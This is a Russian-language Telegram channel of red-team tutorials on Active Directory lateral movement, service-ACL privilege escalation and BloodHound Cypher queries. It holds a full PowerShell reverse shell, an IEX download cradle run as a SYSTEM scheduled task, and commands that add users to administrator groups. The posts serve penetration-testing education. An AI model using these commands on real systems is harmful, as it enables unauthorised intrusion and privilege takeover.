CyberSecrets
2.04K subscribers
6 photos
102 links
Канал о наступательной безопасности, Assumed Breach, Red Team, Purple Team
Download Telegram
Боковое перемещение: Удаленное создание служб

Сегодня кратко.
Для управления службами может использоваться утилита sc.exe. Команда sc.exe при подключении к удаленному компьютеру использует RPC на 135 порту и требует привилегии локального администратора.

Например, у нас есть права локального администратора, но наш пользователь отсутствует в группе Remote Desktop Users, а для выполнения задачи требуется доступ по RDP. Создание и запуск службы на удаленной машине будет выглядеть следующим образом:

sc.exe \\comp.domain.local  create AddUserToRDP binpath= "net localgroup 'Remote Desktop Users' user /add"
sc.exe \\comp.domain.local start AddUserToRDP


Хотя служба может выполнять различные команды данный способ не очень удобный для бокового перемещения и по факту является средством запуска полезной нагрузки. Забегая вперед, psexec использует службу только для запуска именованного канала, который используется для взаимодействия.

После завершения работ нужно удалить службу:

sc.exe \\comp.domain.local delete AddUserToRDP


Кроме sc.exe службами можно управлять и с помощью WMI.

#Внутрянка #RedTeam #PurpleTeam
Боковое перемещение: PSExec

PSExec утилита, входящая в состав SysInernals, позволяет выполнять команды на удаленном хосте. Для использования psexec на удаленном хосте требуются права локального администратора. Так же должны выполняться еще два условия:
Общий доступ к файлам и принтерам должен быть включен
• Общий ресурс администратора ADMIN$ должен быть доступен

Если все условия выполняются можно получить удаленную оболочку, выполнив следующую команду:


Psexec.exe -accepteula \\comp cmd.exe


В данном случае будет выполняться попытка создания и запуска службы в контексте текущего пользователя. Но можно указать другие учетные данные через ключ -u


Psexec.exe -accepteula \\comp -u domain\user cmd.exe



В новых версиях утилиты psexec может возникнуть ошибка Logon failure: the user has not been granted the requested logon type at this computer, чтобы ее исправить необходимо добавить ключ -i.

Теперь можно кратко остановиться на том, что происходит после запуска команды. Используя общий доступ к файлам и принтерам, psexec записывает файл PSEXESVC.EXE на жесткий диск удаленного хоста в папку C:\Windows\ через общий ресурс ADMIN$. Затем psexec на удаленном хосте создает службу c таким же названием PSEXESVC и запускает ее. Файл PSEXESVC.EXE создает именованный канал (pipe) с одноименным названием. Через этот именованный канал происходит обмен данными межу psexec и удаленным хостом.

Так как эта утилита уже является разработкой Microsoft, то антивирусные решения чаще всего не обращают на нее внимание, но утилита оставляет очень явный индикатор компрометации в виде названия службы, файла и именованного канала, поэтому использовать его в проектах по Red Team нужно с осторожностью. При использовании клонов, таких как, RemCom, CSExec или psexec.py нужно провести изменения и переименовать имя создаваемой службы и именованного канала.

Стоит учитывать, что psexec плохо дружит с русскими названиями при выполнении команд.

#Внутрянка #RedTeam #PurpleTeam
Боковое перемещение: Планировщик задач

Планировщик задач чаще используется на этапе закрепления в системе, но также может использоваться и для задач бокового перемещения или выполнения команд на удаленном хосте. Для создания запланированной задачи на удаленном хосте требуются права локального администратора и доступ по 135 порту (RPC). Аналогично с удаленным созданием служб планировщик задач будет использоваться как средство запуска полезной нагрузки, а протокол передачи данных будет выбором специалиста.

В качестве примера использования планировщика задача воспользуемся reverse shell на powershell

$client = New-Object System.Net.Sockets.TCPClient('comp1',8080);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()
}
$client.Close()


Здесь существует проблема в том, что длина команды для планировщика задачи не может превышать 261 символ. Для решения проблемы ограничения длины команды можно расположить файл с кодом reverse shell на общем ресурсе, а в задаче указать powershell путь до файла. Чтобы избежать проблем с кавычками конвертируем строку в Base64:

$s = "IEX (New-Object System.Net.Webclient).DownloadString('\\share\shell.txt')"
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($s))


И теперь создадим запланированную задачу на удаленном хосте

schtasks /create /S server /SC Daily /RU "NT Authority\SYSTEM" /TN "LMExample" /TR "powershell -enc <base64>"


Стоит рассмотреть ключи, используемые при создании задачи:
• /create – создать задачу
• /TN – название задачи
• /RU – от имени кого будет запущена задача, в данном случае от SYSTEM
• /SC – с какой периодичностью будет запускаться задача
• /TR – какая задача будет выполнена, в текущем примере это запуск reverse shell с помощью Powershell

На контролируемом хосте поднять Listener с помощью PowerCat

powercat -l -p 8080


Теперь, когда все готово и можно вручную запустить задачу:

schtasks /run /S comp /TN "LMExample"


В результате будет получена оболочка с правами SYSTEM.

Этот способ можно использовать для получения привилегий SYSTEM на локальном хосте при наличии прав локального администратора.

После выполнения работы необходимо удалить созданную задачу

schtasks /delete /S comp /TN "LMExample"


#Внутрянка #RedTeam #PurpleTeam
Боковое перемещение: SMBExec

SMBExec является популярным методом бокового перемещения. Как и PSExec метод использует удаленное создание службы, но в отличии от PSExec не передает на хост никаких файлов. Для использования SMBExec на удаленном хосте требуются права локального администратора. Так же в классическом подходе общий ресурс C$ должен быть доступен. SMBExec предоставляет псевдо интерактивную оболочку.

Кратко рассмотрим принцип работы SMBExec на примере smbexec.py от Impacket. Команда запуска выглядит следующим образом:

Smbexec domain/user:password@comp -dc-ip <ip>


Утилита создает службу с именем BTOBTO, которая выполняет последовательность из трех команд от имени SYSTEM. Первая команда создает в C:\Windowns\Temp\ файл execute.bat. Данный файл содержит команду результат, которой будет перенаправляться в файл \\127.0.0.1\с$\__output. Ошибки выполнения так же будут перенаправляться в этот файл. Вторая команда будет запускать файл execute.bat, а третья удалять его.

Затем SMBExec забирает файл __output из общего ресурса \\comp\c$ и удаляет его вместе со службой. А в консоли выдает содержимое файла __output.

При выполнении новой команды будет создаваться «новая» служба, которая будет содержать новую команду и так по кругу.

Метод очень интересный, но с точки зрения Red Team не очень тихий, создание большого количества служб может вызвать повышенный интерес со стороны защиты.

#Внутрянка #RedTeam #PurpleTeam
Боковое перемещение: DCOM

В MITRE DCOM объясняется следующим образом:
Windows Distributed Component Object Model (DCOM) -это прозрачное промежуточное программное обеспечение, которое расширяет функциональные возможности COM за пределы локального компьютера с использованием технологии RPC. COM — это компонент интерфейса прикладного программирования Windows (API), обеспечивающий взаимодействие между программными объектами. Через COM клиентский объект может вызывать методы серверных объектов, которые обычно представляют собой библиотеки динамической компоновки (DLL) или исполняемые файлы (EXE).


Другими словами, если в интерфейсе DCOM есть функция выполнения кода, то его можно использовать для реализации бокового перемещения. Чтобы использовать DCOM для бокового перемещения требуются права локального администратора.

Хотя некоторые исследователи пишут, что членство в группе `Distributed COM Users` дает возможность бокового перемещения мне не удалось найти объект DCOM для выполнения этой задачи без повышенных привилегий.


В данном методе самым сложным является найти подходящие объекты для бокового перемещения с использованием DCOM. Но исследователи уже обнаружили несколько таких объектов. В примере ниже рассматривается использование объекта DCOM ShellWindows (CLSID:9BA05972-F6A8-11CF-A442-00A0C90A8F39):

$dcom = [System.Activator]::CreateInstance([Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","comp2.windomain.local"))
$dcom[0].Document.Application.ShellExecute("сmd.exe", "/c whoami > c:\Windows\Temp\result.txt")


Некоторые другие объекты DCOM, подходящие для бокового движения реализованы в скрипте.

Боковое перемещение с использованием DCOM не предоставляет интерактивной оболочки поэтому результат выполнения команды нельзя увидеть, но можно сделать перенаправление в файл. В целом можно использовать метод SMBExec и создать утилиту. В зависимости от прав доступа результат выполнения команды можно записывать в виде файла на административный диск C$ или на общий ресурс, затем считывать данные и отдавать их в «консоль» и удалять файл.

Средства защиты уже знают об этих методах и все что запускается, так или иначе отображается на экране пользователя, даже запуск командной строки мелькает долю секунды. Если системе не сможет распознать выполненную команду, на экране будет выведено окно с предупреждением. Поэтому стоит внимательно к ним относиться в проектах Red Team.

#Внутрянка #RedTeam #PurpleTeam
Боковое перемещение: Проброс портов

Движение по сети межу хостами в сегментированной сети может быть затруднительной задачей. Например, хост необходимый для выполнения работ, может находиться в другой подсети и правила межсетевого экрана ограничивают туда доступ. Или есть правила межсетевого экрана разрешают доступ только с определенных адресов. Если был обнаружен терминальный сервер с доступом в другую подсеть или разрешающим правилом межсетевого экрана, то проблемы нет. Можно зайти этот терминальный сервер по RDP и продолжаем работать, а вот если это рабочая станция, где работает пользователь и нельзя прерывать его работу, то возникает не большая проблема. Ее можно решить с помощью проброса портов.

Проброс портов можно выполнить с помощью portproxy в netsh. Для настройки netsh требуются права локального администратора, а также должна быть включена служба iphlpsvc. Проверить службу можно с помощью команды

Get-Service iphlpsvc


Правила проброса портов можно создавать между адресами IPv4 и IPv6, для этого существуют опции v4tov6, v6tov4, v4tov4 и v6tov6.

В качестве примера выполним проброс порта для RDP:

netsh interface portproxy add v4tov4 listenaddress=10.10.10.10 listenport=4444 connectaddress=192.168.56.10 connectport=3389


• listenaddress – адрес, к которому будет выполняться подключение
• listenport – порт, на который будет выполняться подключение
• connectaddress – адрес, на который будет перенаправляться трафик
• connectport – порт, на который будет перенаправляться трафик

Теперь можно запустить RDP клиент и выполнить подключение:

mstsc.exe /v:10.10.10.10:4444


Посмотреть правила проброса портов можно с помощью команды

netsh interface portproxy show all


Изменить настройки перенаправления портов можно заменив параметр add на set и поменять необходимые параметры в команде, представленной выше.

После выполнения работ необходимо удалить созданное правило проброса портов

netsh interface portproxy delete v4tov4 listenport=4444 listenaddress=10.10.10.10


А если правил было несколько, то можно удалить их все одной командой:

netsh interface portproxy reset


Этот способ можно использовать для обхода локальных правил межсетевого экрана, если это необходимо для выполнения работ.

Проброс портов дает определенные возможности, но в глобальном смысле лучше поднять сервер SOCKS и использовать его для доступа в другие подсети.

#Внутрянка #RedTeam #PurpleTeam
Cypher: Введение

На данный момент у меня закончились идеи с постами по тестированию инфраструктуры на базе Active Directory. Поэтому решил переключиться на BloodHound и Cypher.

Инструмент BloodHound состоит из трех частей:
• Sharphound – сборщик данных;
• BloodHound – веб приложение для работы и визуализации данных;
• Neo4j – база данных для хранения информации.

Обычно результаты запросов представляются в виде графов, что удобно для обнаружения связей между объектами. В BloodHound объекты домена являются вершинами графа, а ребра – отношениями между этими объектами. Так же в Neo4j вершины графа маркируются (label) по общему принципу это позволяет делать выборку только из необходимой группы объектов. Связи определяются по типу (type).

Для запросов информации из базы данных используется язык Cypher. Ниже представлен список некоторых операторов:

CREATE и MERGE – создание нового элемента;
MATCH - выполнение выборки;
SET и REMOVE – добавление или удаление свойств;
WHERE – условие;
RETURN – возврат результата;
DELETE – удаление элементов;

Принцип запросов выборки будет следующим:

MATCH (var1)-[:Тип связи]->(var2) WHERE … RETURN var1, var2

Можно заметить, что сам запрос похож на граф и это можно использовать для создания сложных запросов.

Стрелки определяют направление связи, в Neo4j нет двунаправленных связей, но могут быть запросы, где направление не указано. Cypher чувствителен к регистру и это необходимо учитывать при создании запросов, одна незначительная опечатка и результаты будут ошибочными.

Рассмотрим простой запрос Cypher в котором будут выбираться пользователи, у которых есть доступ по RDP:

MATCH (u:User)-[r:CanRDP]->(c:Computer) RETURN u,r,c


Здесь переменным u,r,c будут передаваться результаты выборки, это необязательно если не нужно выделять какие-то особые условия, но для возврата данных нужно все равно определить переменную:

MATCH p=(:User)-[CanRDP]->(:Computer) RETURN p

Результат будет аналогичным.

Указание label будет влиять на скорость выполнения запроса, но и результат может быть другим. Например, в запросе выше упускается тот факт, что группы тоже могут иметь связь CanRDP. Таким образом в запросе можно опустить указание User, и он будет выглядеть следующим образом:

MATCH p=(u)-[r:CanRDP]->(c:Computer) RETURN p


Самым интересным в Cypher является построение коротких путей между объектами. Для этого используются операторы ShortestPath и AllShortestPaths как можно догадаться разница между ними в том, что первый находит один короткий путь, а второй все (при наличии такой возможности). Формирование коротких путей будет занимать большое количество времени поэтому нужно добавлять условия для снижения нагрузки на базу данных. Пример запроса всех путей от пользователей до группы доменных администраторов будет выглядеть следующим образом:

MATCH p=allshortestpaths((u:User)-[*1..]->(g:Group)) where g.name = "DOMAIN ADMINS@DOMAIN.LOCAL" RETURN p


Стоит обратить внимание, что в запросе не указываются связи, только количество «прыжков» от 1 до конца (об этом будет рассказано позже). Это означает, что интересны все возможные варианты связей.

#BloodHound #Cypher
Cypher: Вывод результатов

BloodHound выводит данные в виде отдельных объектов или графа. Браузер neo4j имеет более расширенные варианты. И в некоторых случаях вывод свойств объектов в виде таблицы более удобный для изучения информации, чем изучать свойства каждого объекта в виде графа.

Как уже говорилось для вывода результатов используется RETURN.

Вывод в виде объектов в Cypher будет следующим:

MATCH (u:User) RETURN u


Вывод в виде графа будет иметь следующий синтаксис. Рассмотрим пример из предыдущего поста, где нужно получить всех пользователей имеющие права по протоколу RDP:

MATCH (u:User)-[r:CanRDP]->(c:Computer) RETURN u,r,c


Для построения графа нужно вернуть все три переменные. Если убрать из RETURN r, то в результате получим объекты без связей. Если у нас будет длинный запрос состоящие из цепочки нескольких переменных, то для этого придется выводить указывать все переменные:

MATCH (u:User)-[r:MemberOf*1..]->(g:Group)-[r1:CanRDP]->(c:Computer) return u,r,g,r1,c


В данном примере мы ищем всех пользователей, являющихся членом группы, которая имеет права подключения через RDP. Как видно для построения графа передаются все переменные. Так же стоит обратить внимание что связи определяются переменными r и r1 это связанно с тем, что все переменные должны быть уникальными.

Чтобы избежать сложностей можно всю цепочку определить как переменную и вернуть только ее. Это также избавить от результатов первой или второй цепочки, которые нас не интересуют. В этом случае запрос Cypher будет следующим:

MATCH p=(u:User)-[r:MemberOf*1..]->(g:Group)-[r1:CanRDP]->(c:Computer) return p


Для вывода результатов в виде таблицы в REURN указываются необходимые свойства. Шаблон для такого вывода <переменная>.<свойство>. Если необходимо вывести несколько свойств, то они разделяются запятой. Например, чтобы изучить атрибут description пользователей для вывода нужны только свойства name и description тогда запрос Cypher будет следующим (пока без добавления условия пустого свойства):

MATCH(u:User) RETURN u.name,u.description


Заголовки таблицы можно менять с помощью ключевого слова AS. В качестве примера возьмем предыдущий запрос и изменим заголовки на более читаемые:

MATCH(u:User) RETURN u.name AS Login,u.description AS Description


В качестве результата можно выводить количество объектов или связей для этого используется ключевое слово count(). Например, необходимо подсчитать количество учетных записей пользователей в домене:

MATCH(u:User) RETURN count(u) 


Оператор ORDER BY позволяет упорядочивать вывод данных, а DESC позволяет изменять направления порядка. Например, нужно узнать у какого пользователя больше связей AdminTo:

MATCH (u:User)-[r:AdminTo]->(c:Computer) RETURN u.name, count(c) AS Comps ORDER BY Comps DESC


Оператор LIMIT n позволяет ограничить вывод данных n строками. С точки зрения анализа данных во время проведения работ это не нужно, наверно, кроме случаев тестирования запросов. В интерфейсе BloodHound если указывается не полное имя объекта (без имени домена), то в выводе данных устанавливается LIMIT 10 и это нужно учитывать при анализе данных.

Оператор SKIP n позволяет пропустить первые n строчек. По умолчанию браузер neo4j выводит только 1000 строк, можно изменить значение Result view max rows в настройках или использовать SKIP чтобы увидеть следующую 1000 строк.

#BloodHound #Cypher
Cypher: Условия фильтрации запроса. Часть первая

Пост получился большой поэтому разбит на две части.

В предыдущих постах уже использовалась фильтрация по меткам User и Computer и только в некоторых случаях этого будет достаточно. Для указания более точных критериев поиска используется ключевое слово WHERE. Ключевое слово WHERE может использоваться для всех свойств объекта.

Рассмотрим синтаксис условий на простых примерах.
Для точного вхождения используется оператор равно =. Могут приниматься булевы значения false и true. Например, найти всех членов группы администраторов домена:
MATCH (u:User)-[r:MemberOf*0..]->(g:Group) g.name = "DOMAIN ADMINS@DOMAIN.LOCAL" RETURN u.name


Оператор «не равно» <> - противоположен предыдущему оператору. Например, найти все компьютеры, которые не являются контроллерами домена:
MATCH (c:Computer)-[r:MemberOf]->(g:Group) WHERE g.name <> "DOMAIN CONTROLLERS@DOMAIN.LOCAL" RETURN c.name


Операторы «больше чем» >, «больше или равно» >=, «меньше чем» < и «меньше или равно» <= используются для сравнения чисел. В BloodHound, наверно, нет числовых значение, кроме результатов работы с датами или сложные запросы с использованием, но об этом в отдельной теме.

Оператор «не нулевое значение» IS NOT NULL проверяет наличие значения в свойстве. В качестве примера известная проверка непустого атрибута Description:
MATCH (u:User) WHERE u.description IS NOT NULL RETURN u.name


Оператор «нулевое значение» IS NULL – является противоположным предыдущему оператору. В качестве примера выполнить поиск потенциальных пресозданных машин, часто такие машины имеют пустой атрибут operatingsystem:

MATCH (c:Computer) WHERE c.operatingsystem IS NULL RETURN c.name


Оператор «содержит» CONTAINS проверяет наличие передаваемого значения в свойстве. Например, найти доменные группы в имени, которых встречается слово «DBA» (администраторы баз данных):

MATCH (g:Group) WHERE g.name CONTAINS "DBA" RETURN g.name


Оператор «начинается с» STARTS WITH позволяет указывать префикс для значения свойства. Имеет смысл использовать для свойств имени, например, найти все учетные записи с префиксом ADM:

MATCH (u:User) WHERE u.name STARTS WITH "ADM" RETURN u.name


Оператор «заканчивается на» ENDS WITH аналогичен предыдущему, но с указанием постфикса. Этот оператор удобно использовать для указания RID, например, вместо имени группы или если в базе есть результаты из нескольких доменов и нужны данные только из определенного. В качестве примера требуется подсчитать столько учетных записей пользователей есть в домене «CHILD.DOMAIN.LOCAL». Запрос в Cypher будет следующим:

MATCH (u:User) WHERE u.name ENDS WITH "CHILD.DOMAIN.LOCAL" RETURN count(u)


Продолжение следует…

#BloodHound #Cypher
Cypher: Условия фильтрации запроса. Часть вторая

Продолжаем тему использования WHERE для фильтрации запросов.

Оператор «отрицание» NOT инвертирует условие. Например, при анализе атрибута Description было обнаружено, что некоторые учетные записи имеют описание, связанное с заявками в Help Desk. Заявки имеют идентификационный номер, которые администраторы иногда вносят в атрибут Description. Идентификационный номер часто имеет буквенный префикс (например, «HDQ»), задача стоит в том, чтобы исключить из вывода все такие записи:

MATCH(u:User) WHERE (NOT(u.description CONTAINS "HDQ")) RETURN u.name,u.description


Оператор «регулярное выражение» =~ позволяет использовать регулярные выражения в запросах. В регулярном выражении использовать логическое «ИЛИ» | чтобы искать по нескольким значениям. Например, посмотреть есть ли в атрибуте Description слова «пароль» или «password», тогда запрос в Cypher будет иметь следующий вид:

MATCH(u:User) WHERE u.description =~ "(?i).*(парол|passw).*" RETURN u.name,u.description


Параметр (?i) сообщает, что регистр не важен.

При создании условий фильтрации запросов можно использовать логические операторы AND и OR. Например, необходимо проверить какие активные учетные записи будут входить в группу доменных администраторов. Запрос в Cypher будет таким:

MATCH (u:User)-[r:MemberOf*0..]->(g:Group) WHERE u.enabled=TRUE AND g.name = "DOMAIN ADMINS@DOMAIN.LOCAL" RETURN u.name


Другой пример, узнать какие пользователи входят в группу администраторов или доменных администраторов:

MATCH (u:User)-[r:MemberOf*0..]->(g:Group) WHERE g.name = "ADMINISTRATORS@DOMAIN.LOCAL" OR g.name = "DOMAIN ADMINS@DOMAIN.LOCAL" RETURN u.name,g.name


Оператор «существует» EXISTS может использоваться для проверки отношения. Например, проверить есть ли пользователи, которые имеют права GenericAll на группы:

MATCH(u:User) WHERE EXISTS {(u)-[r:GenericAll]->(g:Group)} RETURN u.name


Можно использовать прием и указать фильтр запроса в узлах, после указания метки в фигурных скобках добавляется условие фильтрации по шаблону <свойство>:<значение>. Например, определить на каких машинах используется LAPS можно следующим образом:

MATCH (c:Computer {haslaps:true}) return c


Можно добавить несколько условий. В таком случае они разделяются запятой. Например, выбрать только включенные объекты компьютер, на которых используется LAPS.

MATCH (c:Computer {enabled:true, haslaps:true}) return c


#BloodHound #Cypher
Cypher: Добавление и изменение свойства объекта

При использовании BloodHound, возможно, нет необходимости менять свойства объекта, но если расширять возможности

Для изменения свойства объекта используется оператор SET. Самым простым примером является изменения свойства Compromised в базе neo4j это свойство называется owned, оно определяется булевым значением false или true. Чтобы изменить это свойство нужно выполнить запрос Cypher:

MATCH (u:User) WHERE u.name = "USER@DOMAIN.LOCAL" SET u.owned = TRUE RETURN u.name,u.owned


Новое свойство также добавляется оператором SET, например при выполнении Kerberoasting был пароль был успешно подобран и эту информацию можно добавить в базу neo4j, запрос Cypher буде следующим:

MATCH (u:User) WHERE u.name = "SVC_SQL@DOMAIN.LOCAL" SET u.password = "Qwerty123" RETURN u.name,u.password


Интерфейс BloodHound новые свойства отображает в разделе EXTRA PROPERTIES поэтому изменять код для отображения новых свойств не требуется. Однако, новые свойства отображаются при повторном запросе объекта.

Если свойство объекта больше не требуется его можно удалить. Например, был обнаружен пароль от учетной записи, мы добавили его в базу, но через какое-то время пользователь изменил свой пароль, и информация стала неактуальной. Поэтому стоит удалить свойство password для удаления свойства в Cypher используется оператор REMOVE:

MATCH (u:User) WHERE u.name = "USER@DOMAIN.LOCAL" REMOVE u.password RETURN u.name,u.password


Вместо удаления свойства можно установить для него нулевое значение:

MATCH (u:User) WHERE u.name = "USER@DOMAIN.LOCAL" SET u.password = NULL RETURN u.name,u.password


#BloodHound #Cypher
Cypher: Работа со списками

Списки позволяют хранить несколько значений в одном поле. В BloodHound таким полем является serviceprincipalname.

В выводе списки выводятся в квадратных скобках в кавычках и разделены запятыми: [“var1”,”var2”]. Как и в других языках список имеет индекс и к элементам списка можно обращаться по его индексу.

Метки объектов тоже являются списком. Например, если выполнить запрос для поиска какие объекты имеют привилегии локального администратора и нужно понять, что это за объект пользователь, группа или компьютер, можно выполнить запрос Cypher:

MATCH(n)-[r:AdminTo]->(c:Computer) RETURN n.name,labels(n),c.name


В выводе можно обнаружить, что второе поле содержит список. Первое значение будет компьютером, пользователем или группой, а второе иметь значение Base. Чтобы избавиться от этого значения, можно поставить индекс первого элемента: labels(n)[0]. В результате вывод будет более красивым.

Для разбора списка используется ключевое слово UNWIND. Чтобы получить данные SPN в виде отдельных записей можно выполнить запрос Cypher:

MATCH (c:Computer)
UNWIND c.serviceprincipalnames AS spn
RETURN c.name, spn


В результате каждый SPN будет содержаться в отдельной строчке.

Для поиска по определенному SPN необходимо разобрать свойство SPN для каждого компьютера и отфильтровать по необходимому значению. Например, нужно найти все доменные компьютеры, на которых запущен (потенциально) MS SQL, запрос Cypher будет следующим

MATCH (c:Computer)
UNWIND c.serviceprincipalnames AS spn
WITH c,spn
WHERE spn CONTAINS "SQL"
RETURN DISTINCT c.name

Еще один вариант — это использовать регулярные выражения. Тогда запрос преобразуется в следующий запрос:

MATCH(c:Computer)
WHERE ANY (x IN c.serviceprincipalnames WHERE x =~ "(?i).*sql.*")
RETURN c.name

В данном запросе x это промежуточный результат, в котором уже выполняется проверка на совпадение.

Для реверсивного поиска (найти все машины, у которых нет записи SPN) ключевое слово ANY в предыдущем запросе нужно заменить на NOT ANY или NONE

MATCH(c:Computer)
WHERE NONE (x IN c.serviceprincipalnames WHERE x =~ "(?i).*sql.*")
RETURN c.name


Результаты запросов могут быть собраны в коллекции. Для этого используется ключевое слово COLLECT. Например, нужно собрать всех пользователей, которые являются администраторами домена, в список запрос в Cypher будет следующим:

MATCH(u:User)-[r:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}) return COLLECT(u.name)


Для добавления свойства в виде списка используется формат описанный выше. Например, необходимо добавить открытые порты для компьютера. Запрос в Cypher будет таким:

MATCH (c:Computer {name:"COMP.DOMAIN.LOCAL"}) SET c.ports = ["445", "3389"]


#BloodHound #Cypher
Всем привет! Спустя долгих раздумий о дальнейшей судьбе канала я решил вернуться к его наполнению. Постов раз в неделю не обещаю, но один в месяц точно будет, а дальше по возможностям и обстоятельствам. Есть несколько тем и проектов, которые находятся в работе и с которыми я захочу поделиться. Так, например, за прошедший год я написал книгу по работе с BloodHound и Cypher, которая сейчас находится на стадии создания макета в издательстве. Думаю, что через два месяца (может и раньше) она появится в продаже. Так что следите за анонсами.
З.Ы. Картинка честно украдена из Твиттера.
Всем привет!
Готовлю воркшоп на тему запросов Cypher для VolgaCTF, которая пройдет с 16 по 20 сентября. Сложно уместить большой объем информации в полтора часа, но попробую рассказать про основные моменты. А сейчас решил поделиться двумя интересными Cypher запросами из категории работы с путями и коллекциями.
Получить из пути только узлы пользователей или компьютеров:
MATCH p=shortestPath((n)-[*1..]->(m {highvalue:true})) WHERE m.domain="DOMAIN.LOCAL" AND m<>n 
UNWIND nodes(p) AS t
WITH distinct(t) WHERE (t:User OR t:Computer)
RETURN t.name,labels(t)[0] AS nodetype

Разложить путь в виде узел-связь-узел:
MATCH p=(u:User)-[:MemberOf|AdminTo*1..]->(c:Computer)
UNWIND relationships(p) as t
RETURN
startNode(t).name as startnode,
type(t) as relation,
endNode(t).name as endnode

#BloodHound #Cypher
Небезопасная настройка ACL служб через групповые политики

Групповые политики являются популярным инструментом для централизованного управления инфраструктурой на базе Active Directory. Утилита Group3r позволяет собирать информацию из групповых политики для последующего анализа. Также Group3r подсвечивает некоторые некорректные настройки, так удобно искать по ключевым словам red и black для обнаружения наиболее критичных недостатков. Сегодняшний пост о небезопасной настройке ACL служб через групповые политики.

Запустив Group3r и изучив результаты, мы обнаружили следующие строчки:
A Windows service's ACL is being configured to grant abusable permissions to a target trustee. This should allow local privilege escalation on affected hosts. Service: wuauserv, Trustee: Authenticated Users - S-1-5-11.

Если мы перейдем в саму групповую политику, то обнаружим название службы, тип запуска и настройку прав доступа в виде SSDL строки:
"wuauserv",4,"D:AR(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRRC;;;AU)(A;;CCLCSWLOCRRC;;;IU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

Нас интересует только группа AU:
- СС – права на запрос конфигурации службы;
- DC – права на изменение службы;
- LC – права на запрос статуса службы;
- SW – права на перечисление всех служб, зависящих от службы
- RP – права на запуск службы;
- WP – права на остановку службы;
- DT – права на остановку службы на паузу;
- LO – права, позволяющие попросить службу немедленно сообщить о своем статусе;
- CR – права для указания пользовательского кода элемента управления.
- RC – права на чтение дескрипторов безопасности.

Для начала необходимо определить, на каких компьютерах применяется данная групповая политика, сделать это можно с помощью запроса Cypher:

MATCH(g:GPO {name:"VULNSERVICE@DOMAIN.LOCAL"})-[:GPLink|Contains*1..]->(c:Computer) RETURN c.name


Если наш текущий хост или хост, на который мы имеем удаленный доступ, применяет эту политику, то запрашиваем текущую конфигурацию службы локальном компьютере:

sc.exe qc wuauserv


Сохраняем текущее значение параметра BINARY_PATH_NAME для последующего восстановления.
Меняем параметр BINARY_PATH_NAME на то, что хотим выполнить на компьютере, например добавить себя в группу локальных администраторов.

sc.exe config wuauserv binPath= "net.exe localgroup administrators victim /add"

И запускаем службу:

sc.exe start wuauserv


Если служба была запущена, то сначала ее нужно остановить, а затем запустить:

sc.exe stop wuauserv
sc.exe start wuauserv


Хотя Group3r сообщает, что данный недостаток может использоваться для локального повышения привилегий, в некоторых случаях его так же можно использовать и для удаленного повышения привилегий и бокового перемещения.

Выполняем простую проверку, например запуск или установку службы на удаленном хосте:

sc.exe \\server start wuauserv


Если ошибка Access Denied не появилась, попытаемся добавить себя в группу локальных администраторов и запускаем службу:

sc.exe \\server config wuauserv binPath= "net.exe localgroup administrators victim /add"
sc.exe \\server start wuauserv


После получения привилегий локального администратора, возвращаем параметр BINARY_PATH_NAME в исходное состояние.

#Внутрянка #RedTeam #PurpleTeam #LPE
Всем привет!
Мне тут с утра прислали ссылку моего выступления на VolgaCTF, которая проходила в славном городе Самара. Надеюсь найдете в этом выступлении что-то полезное для себя. К моему большому сожалению, за полтора часа я не успел рассказать всего что было запланировано.
Поиск компьютеров с включенной службой WebClient

Наличие SMB Signing на контроллерах домена (устанавливается по умолчанию) запрещает выполнять технику SMB Relay на LDAP. В то же время техника HTTP Relay на LDAP разрешена при условии, что на контроллере домена не включен LDAP Signing. И в этом случае запущенная на хосте служба WebClient может помочь в использовании техники HTTP Relay в LDAP. По умолчанию служба WebClient отключена.

Ниже следующий скрипт позволяет обнаружить хосты, на которых запущена служба WebClient. ADSI запрос выбирает из домена все незаблокированные объекты компьютер. Так же скрипт содержит ключ bloodhound, который формирует Cypher запросы на добавление нового свойства к узлу:

function Check-Webclient{
[CmdletBinding()]
Param (
[Parameter (Mandatory=$false, Position=0)]
[switch]
$bloodhound
)
$searcher = [adsisearcher]'(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'
$searcher.PageSize = 1000
$comps=$searcher.FindAll()

foreach($comp in $comps)
{
if(Get-ChildItem -Path "\\$($comp.Properties.name.Item(0))\pipe\DAV RPC SERVICE" -ea SilentlyContinue)
{
if($bloodhound)
{
$sid = (New-Object System.Security.Principal.SecurityIdentifier($comp.Properties.objectsid.Item(0),0)).Value
Write-Host "MATCH (c:Computer {objectid:'$sid'}) SET c.webclient = TRUE;"
}
else
{
Write-Host -ForegroundColor Green "[!] WebClient is enabled on $($comp.Properties.name.Item(0))"
}
}
}
}


Если запустить скрипт с ключом bloodhound, то результат можно вставить в браузер neo4j и в результате информация будет доступна для последующий Cypher запросов. Так, например найти короткие пути до узлов, имеющих высокую ценность:

MATCH p=AllShortestPaths((c:Computer {webclient:TRUE})-[*1..]->(n {highvalue:TRUE})) RETURN p


Теперь остается запустить ntlmrelayx с нужными параметрами, для настройки RBCD или ShadowCredentials и выполнить принудительную аутентификацию хоста с указанием использовать WebDav вместо UNC Path.

#Внутрянка #RedTeam #PurpleTeam #Powershell
Всем привет!
Наконец это свершилось и моя книга «Идём по киберследу: Анализ защищенности Active Directory c помощью утилиты BloodHound» доступна для предзаказа на сайте Альпина и на других площадках. На полках книга появиться в первых числах декабря.
Книга написана в виде пошагового руководства с созданием собственной лаборатории. Она позволит расширить свои знания в применении инструмента.

Книга состоит из четырёх частей:
- первая, знакомство с интерфейсом BloodHound
- вторая, знакомство с интерфейсом браузера neo4j
- третья, часть знакомит читателя с языком запросов Cypher
